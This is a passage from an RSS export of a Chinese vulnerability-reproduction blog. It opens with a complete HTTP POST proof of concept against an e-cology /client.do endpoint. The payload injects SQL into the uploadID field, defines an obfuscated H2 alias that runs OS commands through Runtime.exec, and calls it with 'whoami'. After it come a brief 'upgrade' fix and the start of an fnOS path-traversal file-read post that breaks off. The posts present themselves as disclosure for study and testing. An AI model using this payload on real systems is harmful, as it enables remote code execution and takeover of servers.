data-lang=&quot;bash&quot;&gt;POST&amp;nbsp;/client.do&amp;nbsp;HTTP/1.1Host:&amp;nbsp;&amp;nbsp;127.0.0.1User-Agent:&amp;nbsp;Mozilla/5.0&amp;nbsp;(Windows&amp;nbsp;NT&amp;nbsp;10.0;&amp;nbsp;Win64;&amp;nbsp;x64;&amp;nbsp;rv:131.0)&amp;nbsp;Gecko/20100101&amp;nbsp;Firefox/131.0Accept:&amp;nbsp;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8Accept-Language:&amp;nbsp;zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding:&amp;nbsp;gzip,&amp;nbsp;deflateConnection:&amp;nbsp;closeCookie:&amp;nbsp;JSESSIONID=abcrCRF1rJkt_4V8s_ikz;&amp;nbsp;ecology_JSessionid=abcrCRF1rJkt_4V8s_ikz;&amp;nbsp;testBanCookie=test;&amp;nbsp;Systemlanguid=7Upgrade-Insecure-Requests:&amp;nbsp;1Priority:&amp;nbsp;u=0,&amp;nbsp;iPragma:&amp;nbsp;no-cacheCache-Control:&amp;nbsp;no-cacheContent-Type:&amp;nbsp;multipart/form-data;&amp;nbsp;boundary=----WebKitFormBoundaryyBvZrAkWyCD8dThVContent-Length:&amp;nbsp;1131------WebKitFormBoundaryyBvZrAkWyCD8dThVContent-Disposition:&amp;nbsp;form-data;&amp;nbsp;name=&amp;quot;method&amp;quot;getupload------WebKitFormBoundaryyBvZrAkWyCD8dThVContent-Disposition:&amp;nbsp;form-data;&amp;nbsp;name=&amp;quot;uploadID&amp;quot;1&amp;#39;;CREATE&amp;nbsp;ALIAS&amp;nbsp;if&amp;nbsp;not&amp;nbsp;exists&amp;nbsp;abcd&amp;nbsp;AS&amp;nbsp;CONCAT(&amp;#39;void&amp;nbsp;e(String&amp;nbsp;cmd)&amp;nbsp;throws&amp;nbsp;java.la&amp;#39;,&amp;#39;ng.Exception{&amp;#39;,&amp;#39;Object&amp;nbsp;curren&amp;#39;,&amp;#39;tRequest&amp;nbsp;=&amp;nbsp;Thre&amp;#39;,&amp;#39;ad.currentT&amp;#39;,&amp;#39;hread().getConte&amp;#39;,&amp;#39;xtClass&amp;#39;,&amp;#39;Loader().loadC&amp;#39;,&amp;#39;lass(&amp;quot;com.caucho.server.dispatch.ServletInvocation&amp;quot;).getMet&amp;#39;,&amp;#39;hod(&amp;quot;getContextRequest&amp;quot;).inv&amp;#39;,&amp;#39;oke(null);java.la&amp;#39;,&amp;#39;ng.reflect.Field&amp;nbsp;_responseF&amp;nbsp;=&amp;nbsp;currentRequest.getCl&amp;#39;,&amp;#39;ass().getSuperc&amp;#39;,&amp;#39;lass().getDeclar&amp;#39;,&amp;#39;edField(&amp;quot;_response&amp;quot;);_responseF.setAcce&amp;#39;,&amp;#39;ssible(true);Object&amp;nbsp;response&amp;nbsp;=&amp;nbsp;_responseF.get(currentRequest);java.la&amp;#39;,&amp;#39;ng.reflect.Method&amp;nbsp;getWriterM&amp;nbsp;=&amp;nbsp;response.getCl&amp;#39;,&amp;#39;ass().getMethod(&amp;quot;getWriter&amp;quot;);java.i&amp;#39;,&amp;#39;o.Writer&amp;nbsp;writer&amp;nbsp;=&amp;nbsp;(java.i&amp;#39;,&amp;#39;o.Writer)getWriterM.inv&amp;#39;,&amp;#39;oke(response);java.ut&amp;#39;,&amp;#39;il.Scan&amp;#39;,&amp;#39;ner&amp;nbsp;scan&amp;#39;,&amp;#39;ner&amp;nbsp;=&amp;nbsp;(new&amp;nbsp;java.util.Scann&amp;#39;,&amp;#39;er(Runt&amp;#39;,&amp;#39;ime.getRunt&amp;#39;,&amp;#39;ime().ex&amp;#39;,&amp;#39;ec(cmd).getInput&amp;#39;,&amp;#39;Stream())).useDelimiter(&amp;quot;\\A&amp;quot;);writer.write(scan&amp;#39;,&amp;#39;ner.hasNext()?sca&amp;#39;,&amp;#39;nner.next():&amp;quot;&amp;quot;);}&amp;#39;);CALL&amp;nbsp;abcd(&amp;#39;whoami&amp;#39;);--------WebKitFormBoundaryyBvZrAkWyCD8dThV--&lt;/pre&gt;&lt;/section&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;/section&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;/section&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/02/20260212200533177089793343378.png&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-s=&quot;300,640&quot; data-w=&quot;1080&quot; type=&quot;block&quot; data-imgfileid=&quot;100000685&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/section&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/02/20260212200533177089793325013.png&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-s=&quot;300,640&quot; data-w=&quot;718&quot; type=&quot;block&quot; data-imgfileid=&quot;100000686&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/section&gt;&lt;section style=&quot;padding-right: 10px;padding-left: 10px;line-height: 1.6;pointer-events: initial;&quot;&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/code&gt;&lt;section style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;06&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;—&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;p style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;修复建议&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: left;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 16px;color: #000000;font-weight: normal;&quot;&gt;升级到安全版本&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section powered-by=&quot;xiumi.us&quot; style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;padding-right: 10px;padding-left: 10px;line-height: 1.6;pointer-events: initial;&quot; data-pm-slice=&quot;7 6 [&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;margin-bottom: 0px; font-size: 16px; background-color: rgb(255, 255, 255); visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;powered-by&amp;quot;:&amp;quot;xiumi.us&amp;quot;,&amp;quot;style&amp;quot;:&amp;quot;visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;}]&quot;&gt;&lt;section style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;07&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;—&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;p style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;往期回顾&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;section class=&quot;mp_profile_iframe_wrp&quot; nodeleaf=&quot;&quot;&gt;&lt;mp-common-profile class=&quot;js_uneditable custom_select_card mp_profile_iframe js_wx_tap_highlight&quot; data-pluginname=&quot;mpprofile&quot; data-nickname=&quot;北风漏洞复现文库&quot; data-index=&quot;0&quot; data-from=&quot;2&quot; data-headimg=&quot;http://mmbiz.qpic.cn/sz_mmbiz_png/dV0OibMDwBhLiaaoGI8LfuPiaA8ibUUtcv9nSuJJc1Pps7Ys43DOtfxA1zLlMExIyoJkyiaibxJBibUbupXrVXYyOn4vA/300?wx_fmt=png&amp;amp;wxfrom=19&quot; data-signature=&quot;聚焦最新漏洞动态，深度解析SRC、CVE、CNVD漏洞详情。提供漏洞复现教程、工具利用指南及整改方案。为渗透测试与网络安全从业者提供实战交流平台，助力提升安全技能。&quot; data-id=&quot;Mzk2NDkwMDg3Nw==&quot; data-is_biz_ban=&quot;0&quot; data-origin_num=&quot;48&quot; data-biz_account_status=&quot;0&quot; data-service_type=&quot;1&quot; data-verify_status=&quot;0&quot;&gt;&lt;/mp-common-profile&gt;&lt;/section&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;margin-bottom: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/section&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/section&gt;&lt;p style=&quot;display: none;&quot;&gt;&lt;mp-style-type data-value=&quot;3&quot;&gt;&lt;/mp-style-type&gt;&lt;/p&gt;</description><pubDate>Thu, 12 Feb 2026 20:05:18 +0800</pubDate></item><item><title>飞牛系统（fnOS）任意文件读取漏洞 附POC</title><link>https://www.7x0.cn/post/25.html</link><description>&lt;h1 data-pm-slice=&quot;0 0 []&quot; style=&quot;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;pointer-events: initial;&quot;&gt;免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;pointer-events: initial;&quot;&gt;直接或者间接的后&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;pointer-events: initial;&quot;&gt;果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。&lt;/span&gt;&lt;/h1&gt;&lt;h1 data-pm-slice=&quot;0 0 []&quot; style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;color: rgb(62, 62, 62);letter-spacing: 0.578px;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/h1&gt;&lt;h1 data-pm-slice=&quot;0 0 []&quot; style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;color: rgb(62, 62, 62);letter-spacing: 0.578px;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/h1&gt;&lt;section style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section powered-by=&quot;xiumi.us&quot; style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;p style=&quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;padding-right: 20px;padding-left: 20px;line-height: 1em;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;letter-spacing: normal;&quot;&gt;01&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;padding-right: 20px;padding-left: 20px;line-height: 1em;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;letter-spacing: normal;&quot;&gt;—&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;padding-right: 10px;padding-left: 10px;line-height: 1em;color: rgb(62, 62, 62);letter-spacing: 0.578px;text-align: center;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;letter-spacing: normal;&quot;&gt;漏洞名称&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;padding-right: 10px;padding-left: 10px;line-height: 1em;color: rgb(62, 62, 62);letter-spacing: 0.578px;text-align: center;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot; data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot;&gt;飞牛系统（fnOS）任意文件读取漏洞&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot; data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;visibility: visible;pointer-events: initial;&quot;&gt;&lt;p style=&quot;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;02&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;—&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;p style=&quot;padding-right: 10px;padding-left: 10px;line-height: 1.6;color: rgb(62, 62, 62);letter-spacing: 0.578px;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;影响版本&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 16px;&quot;&gt;受影响的版本为1.1.15以下&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;img class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-aistatus=&quot;1&quot; data-imgfileid=&quot;100000725&quot; data-s=&quot;300,640&quot; src=&quot;https://www.7x0.cn/zb_users/upload/2026/02/20260212200426177089786613041.png&quot; referrerpolicy=&quot;no-referrer&quot; type=&quot;block&quot;/&gt;&lt;/section&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;visibility: visible;pointer-events: initial;&quot;&gt;&lt;p style=&quot;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;03&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;—&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;p style=&quot;padding-right: 10px;padding-left: 10px;line-height: 1.6;color: rgb(62, 62, 62);letter-spacing: 0.578px;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;漏洞简介&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span data-pm-slice=&quot;0 0 []&quot; style=&quot;pointer-events: initial;&quot;&gt;&lt;span data-pm-slice=&quot;0 0 []&quot; style=&quot;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 16px;&quot;&gt;飞牛系统（fnO&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 16px;&quot;&gt;S）是一款国产网&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 16px;&quot;&gt;络附加存储（NAS）操作系统&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 16px;&quot;&gt;。&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot; data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 16px;&quot;&gt;飞牛系统（fnOS）适合追求&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 16px;&quot;&gt;功能丰富、预算有限且对数据安全要求不高的用户，尤其适合闲置硬件改造和影视娱乐场景。&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 16px;&quot;&gt;攻击者通过构造恶意请求，利用路径遍历字符（如&lt;/span&gt;&lt;/span&gt;&lt;code data-v-c3629e60=&quot;&quot; style=&quot;line-height: 1.6;color: rgb(62, 62, 62);font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 16px;&quot;&gt;../&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;span data-v-c3629e60=&quot;&quot; answer=&quot;&quot; seq=&quot;8&quot; style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: 